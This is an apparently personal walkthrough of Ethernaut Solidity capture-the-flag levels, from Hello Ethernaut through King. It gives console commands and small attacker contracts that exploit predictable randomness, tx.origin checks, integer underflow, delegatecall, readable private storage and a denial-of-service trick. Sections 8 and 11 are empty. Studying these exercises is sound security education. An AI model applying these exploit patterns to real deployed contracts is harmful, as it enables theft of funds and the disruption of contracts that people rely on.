1. Hello Ethernaut

The instructions ask to call the info() method

contract.info()

We follow the output and call:

contract.info1()

Then...

contract.info2("Hello")

To get infoNum, we call its public getter

contract.infoNum()

infoNum() returns 42 as a BigNumber, so we call info42()

contract.info42()

Following the output again

contract.theMethodName()

Then...

contract.method7123949()

To know what is the password, we inspect the contract's ABI

contract

We call the method password()

contract.password()

We finally pass the output to the authenticate() method

contract.authenticate("ethernaut0")

2. Fallback

First of all we need to send the contract an amount that is less than 0.001 ether in order to make a contribution

contract.contribute.sendTransaction({from: player, value: toWei("0.0001")})

Afterwards, we send another non-zero amount to become an owner (received by the function receive())

contract.sendTransaction({from: player, value: toWei("0.0000001")})

We can now withdraw all of the contract's balance using withdraw()

contract.withdraw()

3. Fallout

In older Solidity versions, the constructor used to defined with the contract's name.
So, to claim ownership we call the constructor which is named by mistake fal1out() instead of fallout()

contract.Fal1out()

4. Coin Flip

In order to guess the right side, we need to implement the same coin flip generation code then pass the result to the guess() function.
The block time is long enough that the block.number doesn't change between function calls.

contract Hack {
    uint256 constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    
    function _guess() public view returns(bool){
    uint256 blockValue = uint256(blockhash(block.number - 1));
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    return side;
    
    }

    function attack(address _victim) external {
        bool guess = _guess();
        ICoinFlip(_victim).flip(guess);
    }

}

5. Telephone

In order to claim ownership, we need to call the changeOwner() method using an intermediate contract. This way, the tx.origin is going to be player and the msg.sender is going to be the address of the intermediate contract Hack.

contract Hack {

    function attack(address _victim) external {
        ITelephone(_victim).changeOwner(msg.sender);
    }

}

6. Token

To increase our balance we use the transfer() method.
However, in order to get the maximum of tokens, we need to ensure that our balance is equal to the maximum value of uint256. In order to get this value, we substract the amount we already have to prevent an overflow.

tokenContract.transfer(msg.sender, type(uint).max - tokenContract.balanceOf(msg.sender)); 

7. Delegation

contract.sendTransaction({from: player, to: this, value:0, data: "0xdd365b8b" })

8. Force

9. Vault

web3.eth.getStorageAt(instance, "1")

10. King

This level consists of a game to claim the King title. Our aim is to break it.
We notice that the previous king receives msg.value using transfer() and that the msg.sender becomes the king once the transfer is succeeded. But what if this previous king couldn't receive any ether?
So, in order to break the game, we need to make a contract that can't receive ether, in other words, it doesn't implement a receive() nor a fallabck() function.

contract Hack{
    address public victim;

    constructor(address _victim){
        victim = _victim;
    }

    function attack() public payable{
        (bool success,) = payable(victim).call{value: msg.value}("");
        require(success);
    }

}

11. Re-entrancy